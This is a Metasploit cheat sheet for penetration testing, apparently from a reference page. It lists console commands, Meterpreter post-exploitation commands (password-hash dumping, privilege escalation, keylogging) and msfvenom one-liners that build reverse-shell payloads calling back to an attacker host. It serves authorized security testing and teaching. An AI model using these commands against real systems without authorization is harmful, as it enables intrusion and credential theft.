Penetration Testing
Metasploit Commands
3 sections23 commands
Core Commands
8 entriesCommand / syntaxDescription
msfconsoleStart Metasploitsearch <keyword>Search modulesuse <module>Select moduleinfoShow module infoshow optionsShow required optionsset RHOSTS <target>Set targetexploit / runExecute modulebackExit current module
Meterpreter Commands
10 entriesCommand / syntaxDescription
sysinfoSystem informationgetuidCurrent usergetsystemAttempt privilege escalationhashdumpDump password hashesupload <file>Upload file to targetdownload <file>Download file from targetshellDrop to system shellscreenshotTake screenshotkeyscan_startStart keyloggerportfwd add -l <port> -p <port> -r <target>Port forwarding
Payload Generation (msfvenom)
5 entriesCommand / syntaxDescription
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe > shell.exeWindows reverse shellmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f elf > shell.elfLinux reverse shellmsfvenom -p php/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.phpPHP reverse shellmsfvenom -l payloadsList all payloadsmsfvenom -l encodersList all encoders